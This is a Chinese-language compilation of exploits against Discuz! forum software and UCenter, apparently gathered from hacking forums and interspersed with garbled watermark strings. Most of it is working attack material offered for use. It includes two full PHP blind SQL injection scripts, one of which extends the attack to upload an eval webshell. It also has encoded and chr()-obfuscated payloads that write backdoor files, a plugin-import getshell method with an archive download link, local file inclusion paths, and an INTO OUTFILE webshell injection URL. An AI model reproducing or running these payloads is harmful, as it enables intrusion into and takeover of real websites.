久久久电脑

影响版本有：20120407，beta，rc - 专注信息安全( a. E* C! }% B4 U

1.注册任意账户 90 Security Team, B5 t8 Y$ K2 g% q! f+ L

2.登陆用户，发表blog日志（注意是日志） 9 g& r4 t9 z7 j- r
这里是我们自己的交流平台，是属于我们90sec所有成员的技术分享平台!5 {" |0 U& u: T5 @
3.添加图片，选择网络图片，地址：{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}
我们90sec所有成员的技术分享平台!  l; x+ b5 p: T* J+ U' |' ~
4.访问日志，论坛根目录下生成demo.php，一句发密c

Discuz!X是康盛创想推出的一个以社区为基础的专业建站平台，让论坛、个人空间、门户、群组、应用开放平台充分融合于一体，帮助网站实现一站式服务。Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit

---------------------------------------------------------------------------

by :toby57
mail: toby57@163.com
team: http://www.wolvez.org
---------------------------------------------------------------------------

<?php
    print_r('
    +---------------------------------------------------------------------------+
    Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit
    by toby57    2010.11.05
    mail: toby57 at 163 dot com
    team: http://www.wolvez.org
    +---------------------------------------------------------------------------+
    ');
    if ($argc < 2) {
        print_r('
    +---------------------------------------------------------------------------+
    Usage: php '.$argv[0].' url [pre]
    Example:
    php '.$argv[0].' http://localhost/
    php '.$argv[0].' http://localhost/ xss_
    +---------------------------------------------------------------------------+
    ');
        exit;
    }
    error_reporting(7);
    ini_set('max_execution_time', 0);
    $url = $argv[1];
    $pre = $argv[2]?$argv[2]:'pre_';
    $target = parse_url($url);
    extract($target);
    $path .= '/api/trade/notify_credit.php';
    $hash = array();
    $hash = array_merge($hash, range(48, 57));
    $hash = array_merge($hash, range(97, 102));
    
    $tmp_expstr = "'";
    $res = send();
    if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');}
    preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match);
    if($match[1])$pre = $match[1];
    $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='";
    $res = send();
    if(strpos($res,"doesn't exist")!==false){
        echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n";
        for($i = 1;$i<20;$i++){
        $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='";
        $res = send();
    
        if(strpos($res,'SQL syntax')!==false){  
    
        $pre = '';
        $hash2 = array();
        $hash2 = array_merge($hash2, range(48, 57));
        $hash2 = array_merge($hash2, range(97, 122));
        $hash2[] = 95;
        for($j = 1;$j <= $i; $j++){
        for ($k = 0; $k <= 255; $k++) {
        if(in_array($k, $hash2)) {
        $char = dechex($k);
        $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='";
        $res = send();
        if(strpos($res,'SQL syntax')!==false){
            echo chr($k);
            $pre .= chr($k);break;
        } 
        } 
        }    
        }    
        if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{die('GET Table_pre Failed..');};
        }    }    };
    echo "Please Waiting....\n";
    $sitekey = '';
    for($i = 1;$i <= 32; $i++){
      for ($k = 0; $k <= 255; $k++) {
        if(in_array($k, $hash)) {
        $char = dechex($k);
    $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='";
    $res = send();
    if(strpos($res,'SQL syntax')!==false){
            echo chr($k);
            $sitekey .= chr($k);break;
    }}}}
    if(strlen($sitekey)!=32)die("\n".'can NOT get the my_sitekey..');
    echo "\n".'Exploit Successfully.'."\nmy_sitekey:{$sitekey}";
    exit;
    
    function sign($exp_str){
        return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key=");
    }
    
    function send(){
        global $host, $path, $tmp_expstr;
        
        $expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr);
        $data  = "POST $path HTTP/1.1";
        $data .= "Host: $host";
        $data .= "Content-Type: application/x-www-form-urlencoded";
        $data .= "Content-Length: ".strlen($expdata)."";
        $data .= "Connection: Close";
        $data .= $expdata;
        $fp = fsockopen($host, 80);
        fputs($fp, $data);
        $resp = '';
        while ($fp && !feof($fp))
            $resp .= fread($fp, 1024);
        return $resp;
    }  
    ?>

-------------------------Discuz! X1-1.5 SQL injection GETSHELL-------------------------

一直以来Discuz！x1.5的网站很难入侵拿shell（对于新手来说）

 教大家使用下，上图：

<?php
print_r('
+---------------------------------------------------------------------------+
Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit by toby57    2010.11.05
mail: toby57 at 163 dot com
team: http://www.wolvez.org
说明:alibaba把后续getshell代码添加了下去
+---------------------------------------------------------------------------+
');
if ($argc < 2) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url [pre]
Example:
php '.$argv[0].' http://localhost/
php '.$argv[0].' http://localhost/ xss_
+---------------------------------------------------------------------------+
');
    exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$url = $argv[1];
$pre = $argv[2]?$argv[2]:'pre_';
$target = parse_url($url);
extract($target);
$path1 = $path . '/api/trade/notify_credit.php';
$hash = array();
$hash = array_merge($hash, range(48, 57));
$hash = array_merge($hash, range(97, 102));

$tmp_expstr = "'";
$res = send();
if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');}
preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match);
if($match[1])$pre = $match[1];
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='";
$res = send();
if(strpos($res,"doesn't exist")!==false){
    echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n";
    for($i = 1;$i<20;$i++){
    $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='";
    $res = send();

    if(strpos($res,'SQL syntax')!==false){  

    $pre = '';
    $hash2 = array();
    $hash2 = array_merge($hash2, range(48, 57));
    $hash2 = array_merge($hash2, range(97, 122));
    $hash2[] = 95;
    for($j = 1;$j <= $i; $j++){
    for ($k = 0; $k <= 255; $k++) {
    if(in_array($k, $hash2)) {
    $char = dechex($k);
    $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='";
    $res = send();
    if(strpos($res,'SQL syntax')!==false){
        echo chr($k);
        $pre .= chr($k);break;
    } 
    } 
    }    
    }    
    if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{die('GET Table_pre Failed..');};
    }    }    };
echo "Please Waiting....\n";
$sitekey = '';
for($i = 1;$i <= 32; $i++){
  for ($k = 0; $k <= 255; $k++) {
    if(in_array($k, $hash)) {
    $char = dechex($k);
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='";
$res = send();
if(strpos($res,'SQL syntax')!==false){
        echo chr($k);
        $sitekey .= chr($k);break;
}}}}
/*
By: alibaba
修改与添加了一些代码，如果成功就能得到shell
一句话秘密是 : cmd
*/
if(strlen($sitekey)!=32)
{
 echo "\nmy_sitekey not found. try blank my_sitekey\n";
}
else echo "\nmy_sitekey:{$sitekey}\n";

echo "\nUploading Shell...";
$module = 'video';
$method = 'authauth';
$params = 'a:3:{i:0;i:1;i:1;s:36:"PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=";i:2;s:3:"php";}';
$sign = md5($module . '|' . $method . '|' . $params . '|' . $sitekey);
$data = "module=$module&method=$method&params=$params&sign=$sign";
$path2 = $path . "/api/manyou/my.php";
POST($host,80,$path2,$data,30);

echo "\nGetting Shell Location...\n";
$file = '';
for($i = 1;$i <= 32; $i++){
 for ($k = 0; $k <= 255; $k++) {
     if(in_array($k, $hash)) {
   $char = dechex($k);
   $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_member_field_home WHERE uid=1 AND MID(videophoto,{$i},1)=0x{$char} AND ''='";
   $res = send();
   if(strpos($res,'SQL syntax')!==false){
    echo chr($k);
    $file .= chr($k);break;
   }
  }
 }
}
echo "\nShell: $host$path/data/avatar/". substr($file,0,1) . "/" . substr($file,1,1) . "/$file.php";
exit;

function sign($exp_str){
    return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key=");
}

function send(){
    global $host, $path1, $tmp_expstr;
    
    $expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr);
    return POST($host,80,$path1,$expdata,30);
}  

function POST($host,$port,$path,$data,$timeout, $cookie='') {
 $buffer='';

    $fp = fsockopen($host,$port,$errno,$errstr,$timeout);
    if(!$fp) die($host.'/'.$path.' : '.$errstr.$errno);
 else {
        fputs($fp, "POST $path HTTP/1.0");
        fputs($fp, "Host: $host");
        fputs($fp, "Content-type: application/x-www-form-urlencoded");
        fputs($fp, "Content-length: ".strlen($data)."");
        fputs($fp, "Connection: close");
        fputs($fp, $data."");
      
  while(!feof($fp))
  {
   $buffer .= fgets($fp,4096);
  }
  
  fclose($fp);
    }
 return $buffer;
}
?>

discuz x1.5 discuz 7.2 后台getshell 0day通杀版

方法为：
后台：插件--添加插件--请选择导入方式:上传本帖附件中的XML文件 并同时勾选上 允许导入不同版本 Discuz! 的插件(易产生错误!!)
然后确认
shell地址就为：data/plugindata/shell.lang.php  (discuz x1.5 )
shell地址就为：data/plugin/data/shell.lang.php (discuz 7.2)

http://www.st999.cn/blog/tools/discuzshell.rar

附件: discuzshell.rar (470 bytes, 下载次数:169)

DISCUZX1.5 本地文件包含，当然是有条件的，就是使用文件作为缓存。
config_global.php

地址：
http://localhost/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc

http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
Authracation has expiried
执行了 api/uc.php 页面代码了。

发布日期：2011-04.26
发布作者：Jannock
影响版本：DiscuzX1.5
官方网址：http://www.discuz.net
漏洞类型：SQL注入
详细说明：
source\include\portalcp\portalcp_article.php
//90行
if($_G[''gp_conver'']) {
$converfiles = unserialize(stripcslashes($_G[''gp_conver'']));
$setarr[''pic''] = $converfiles[''pic''];
$setarr[''thumb''] = $converfiles[''thumb''];
$setarr[''remote''] = $converfiles[''remote''];
}
可以看出变量 $converfiles 没有 addcslashes。
$aid = DB::insert(''portal_article_title'', $setarr, 1); //122行
进入数据库查询，因此存在SQL注射BUG。

漏洞证明：
有 门户 › 门户管理 › 频道栏目 发表权限。
发表文章：
http://localhost:9998/portal.php?mod=portalcp&ac=article&catid=1
在firebug下显示conver表单。

填上：a:3:{s:3:"pic";s:3:"xx''";s:5:"thumb";s:2:"xx";s:6:"remote";s:2:"xx";}
提交即暴错。
Error messages:
* [Type] 查询语句错误
* [1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''xx'',`remote`=''xx'',`uid`=''1'',`username`=''admin'',`id`=''0'''' at line 1
* [Query] INSERT INTO portal_article_title SET `title`=''xxxxxxxx'',`shorttitle`='''',`author`='''',`from`='''',`fromurl`='''',`dateline`=''1301158320'',`url`='''',`allowcomment`=''1'',`summary`=''xxxxxxxxxxxxxxxx'',`prename`='''',`preurl`='''',`catid`=''1'',`tag`=''0'',`status`=''0'',`pic`=''xx'''',`thumb`=''xx'',`remote`=''xx'',`uid`=''1'',`username`=''admin'',`id`=''0''

一 Discuz! 6.0 和 Discuz! 7.0
既然要后台拿Shell，文件写入必看。

/include/cache.func.php 往上翻,找到调用函数的地方.都在updatecache函数中.

7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选"允许导入不同版本 Discuz! 的插件"

二 Discuz! 7.2 和 Discuz! X1.5

以下以7.2为例

/admin/plugins.inc.php 先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了. 判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包……
我们只要控制scriptlangstr或者其它任何一个就可以了。 Key这里不通用.

7.2 X1.5 还是看下shell.lang.php的文件格式. 7.2版本没有过滤Key,所以直接用\废掉单引号.
X1.5,单引号转义后变为\',再被替换一次',还是留下了\

而$v在两个版本中过滤相同,比较通用.

X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes&action=plugins添加插件

$v通用Exp: 7.2 Key利用 X1.5

如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.

http://www.t00ls.net/thread-15464-1-1.html

global.func.php

POC：
1. admincp.php?frames=yes&action=members&operation=newsletter
2. 发短消息，通知内容为：{${phpinfo()}}

EXP - (fputs(fopen('forumdata/cache/cache_01.php','w'),'<?php eval($_POST[cmd])?>');) :

${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}

1.Ucenter插入一句话：3EST\\');eval($_POST[a])?>;//

2. 然后返回刚才插入地方，随便替换几个字母

3.连接文件是根目录下的 config.inc.php

/manyou/admincp.php?my_suffix=%0A%0DTOBY57 爆路径

然后直接getshell
userapp.php?script=notice&view=all&option=deluserapp&action=invite&hash=' union select NULL,NULL,NULL,NULL,0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E,NULL,NULL,NULL,NULL into outfile 'C:/inetpub/wwwroot/shell.php'%23